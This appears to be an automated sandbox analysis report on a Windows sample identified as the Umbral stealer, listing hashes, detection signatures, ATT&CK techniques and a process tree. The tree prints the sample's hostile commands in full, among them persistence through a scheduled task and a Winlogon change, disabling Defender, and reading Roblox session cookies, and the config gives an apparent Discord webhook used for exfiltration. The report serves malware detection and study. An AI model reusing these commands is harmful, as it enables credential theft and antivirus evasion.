umbral | b638a068653a1b5273d6a11c43d97c7cc3febdc3085243760ac9c57e04d35e10

Analysis

max time kernel
4s
max time network
125s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
29-02-2024 13:48

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup-1.exe
Size

244KB
MD5

88a46f6fad262c425ac411c1f9594c69
SHA1

07a58a70278d223165ba22aee94863587ceb4057
SHA256

b638a068653a1b5273d6a11c43d97c7cc3febdc3085243760ac9c57e04d35e10
SHA512

730549619dd6e8847068c4f569b3d1f9d8b49162d85d8a8a6c4a4151f1a97590d7d59dc91e15497c5ce5d020d53385f8cb8de30e159d5f34718f26ace2272001
SSDEEP

6144:epkye1kDlYpAoEjQnZkLdGDB6Hkn2cY3TwaRb7:kknCDSBEjEkLdM6HV3Ma

Score

10^/10

umbral persistence stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1211276511907151963/KjUXY-OO5tQr3VnZNM1_1xmfhFv3JUJtYA090It15YMwQCWI8k2rOR5-d1J0h7UrcBe-

Signatures

Detect Umbral payload 5 IoCs

resource	yara_rule
behavioral1/files/0x000d00000001224c-7.dat	family_umbral
behavioral1/files/0x000d00000001224c-21.dat	family_umbral
behavioral1/memory/2544-23-0x0000000001240000-0x0000000001280000-memory.dmp	family_umbral
behavioral1/files/0x000d00000001224c-22.dat	family_umbral
behavioral1/memory/2544-25-0x000000001B2A0000-0x000000001B320000-memory.dmp	family_umbral

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\ProgramData\\Microsoft\\Windows\\Templates\\fdbezqpr.dwo.exe"	setup-1.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Executes dropped EXE 1 IoCs

pid	Process
2544	fdbezqpr.dwo.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	discord.com
7	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2668	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1668	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1564	PING.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	fdbezqpr.dwo.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 1684	3008	setup-1.exe	28
PID 3008 wrote to memory of 1684	3008	setup-1.exe	28
PID 3008 wrote to memory of 1684	3008	setup-1.exe	28
PID 1684 wrote to memory of 2668	1684	CMD.exe	27
PID 1684 wrote to memory of 2668	1684	CMD.exe	27
PID 1684 wrote to memory of 2668	1684	CMD.exe	27
PID 3008 wrote to memory of 2544	3008	setup-1.exe	31
PID 3008 wrote to memory of 2544	3008	setup-1.exe	31
PID 3008 wrote to memory of 2544	3008	setup-1.exe	31
PID 2544 wrote to memory of 2416	2544	fdbezqpr.dwo.exe	32
PID 2544 wrote to memory of 2416	2544	fdbezqpr.dwo.exe	32
PID 2544 wrote to memory of 2416	2544	fdbezqpr.dwo.exe	32
PID 2544 wrote to memory of 2456	2544	fdbezqpr.dwo.exe	35
PID 2544 wrote to memory of 2456	2544	fdbezqpr.dwo.exe	35
PID 2544 wrote to memory of 2456	2544	fdbezqpr.dwo.exe	35

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2416	attrib.exe

C:\Users\Admin\AppData\Local\Temp\setup-1.exe
"C:\Users\Admin\AppData\Local\Temp\setup-1.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\system32\CMD.exe
  "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "System Update" /tr "C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1684
- C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe
  "C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe"
    3⤵
    - Views/modifies file attributes
    PID:2416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe'
    3⤵
    PID:2456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    PID:372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:2820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    PID:896
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:1092
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2944
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    PID:1268
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1668
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe" && pause
    3⤵
    PID:780
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:1564

C:\Windows\system32\schtasks.exe
SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "System Update" /tr "C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe"
1⤵
- Creates scheduled task(s)
PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe

Filesize
576KB

MD5
f235045929731b60e7ed7b46cea8eece

SHA1
9b7c2f9c33157682407bed8250e5151a6a5c1b0f

SHA256
6b51aafa5ab37e4c63b2ab475793cc616b5a5d91ae5fecea27137daf139d9bb2

SHA512
a482630b64a714cc50985b5381cd0767e597f3a991d15ba0b252c4d2222b1ed78ae36429bf32c23b1f422d9be81f558f4be3e85abae5a55084a83decdbf927e5

Download Submit
C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe

Filesize
703KB

MD5
869304fea2ba3b13f001a7ef6febb5df

SHA1
62c2d9557bc09ed25f57a47a04d6409505f3664b

SHA256
1562dec1b422ef5727ba676225e2a5d38de84a1e45fd047765d817002ce8554b

SHA512
11d343dd80be969375a54b846a2487207a04c52a21e68e02b427e9879b462731677caf96638d69cad469863083c9a6268c393349a5bdf7de8343fe682b381b84

Download Submit
C:\ProgramData\Microsoft\Windows\Templates\fdbezqpr.dwo.exe

Filesize
68KB

MD5
8298cf292b772dac968f4db3024b13f0

SHA1
ba92fb47222ba2c46755ca5d59d35907d8db5e63

SHA256
c82745eb82949500a7104ac86c3281d2415f90218309c6c0efe6c19a122b5a21

SHA512
a13a08eacdbb007341402e8d1f63a5fa39ce6b89c9a8d9bf452d03eadfde529b4986c5765d928df125df9db0d7b410e7b9995fdca6da9cadad74325e6b0f6d54

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c30463fdb1e6b08adb2213e1bf1d1cc2

SHA1
2f9fb3ccfbf99032c9b0ebe0a67a4a88e7b2c530

SHA256
0c6c1540937384e22c161998521b77d57b28e521f3090dd0fe7839e31ab2ce00

SHA512
880a7a61a90f9cf0659022dc0cd21f4eb7fbf91b96f19e754d3da96971dbec39c08407ec2abad464fa8a3f258abfac1bb09ec51c23d372bceef5c2b15f3167f2

Download Submit
memory/372-50-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/372-52-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/372-53-0x000007FEED070000-0x000007FEEDA0D000-memory.dmp

Filesize
9.6MB

Download
memory/372-51-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/372-49-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/372-47-0x000007FEED070000-0x000007FEEDA0D000-memory.dmp

Filesize
9.6MB

Download
memory/372-48-0x00000000027B0000-0x0000000002830000-memory.dmp

Filesize
512KB

Download
memory/372-46-0x000007FEED070000-0x000007FEEDA0D000-memory.dmp

Filesize
9.6MB

Download
memory/372-45-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/372-44-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/896-82-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/896-83-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/896-81-0x000007FEED070000-0x000007FEEDA0D000-memory.dmp

Filesize
9.6MB

Download
memory/896-84-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/896-86-0x0000000002970000-0x00000000029F0000-memory.dmp

Filesize
512KB

Download
memory/896-85-0x000007FEED070000-0x000007FEEDA0D000-memory.dmp

Filesize
9.6MB

Download
memory/896-87-0x000007FEED070000-0x000007FEEDA0D000-memory.dmp

Filesize
9.6MB

Download
memory/1268-96-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/1268-99-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/1268-97-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/1268-98-0x0000000002840000-0x00000000028C0000-memory.dmp

Filesize
512KB

Download
memory/1268-103-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/1268-102-0x0000000002840000-0x00000000028C0000-memory.dmp

Filesize
512KB

Download
memory/1268-100-0x0000000002840000-0x00000000028C0000-memory.dmp

Filesize
512KB

Download
memory/1268-101-0x0000000002840000-0x00000000028C0000-memory.dmp

Filesize
512KB

Download
memory/2456-32-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/2456-33-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2456-35-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/2456-30-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2456-34-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2456-31-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2456-36-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2456-37-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/2456-38-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/2544-25-0x000000001B2A0000-0x000000001B320000-memory.dmp

Filesize
512KB

Download
memory/2544-57-0x000007FEF5810000-0x000007FEF61FC000-memory.dmp

Filesize
9.9MB

Download
memory/2544-107-0x000007FEF5810000-0x000007FEF61FC000-memory.dmp

Filesize
9.9MB

Download
memory/2544-24-0x000007FEF5810000-0x000007FEF61FC000-memory.dmp

Filesize
9.9MB

Download
memory/2544-73-0x000000001B2A0000-0x000000001B320000-memory.dmp

Filesize
512KB

Download
memory/2544-23-0x0000000001240000-0x0000000001280000-memory.dmp

Filesize
256KB

Download
memory/2820-70-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/2820-69-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-71-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/2820-72-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/2820-74-0x0000000002670000-0x00000000026F0000-memory.dmp

Filesize
512KB

Download
memory/2820-75-0x000007FEEDA10000-0x000007FEEE3AD000-memory.dmp

Filesize
9.6MB

Download
memory/3008-0-0x0000000000380000-0x00000000003C4000-memory.dmp

Filesize
272KB

Download
memory/3008-55-0x000007FEF5810000-0x000007FEF61FC000-memory.dmp

Filesize
9.9MB

Download
memory/3008-2-0x000007FEF5810000-0x000007FEF61FC000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads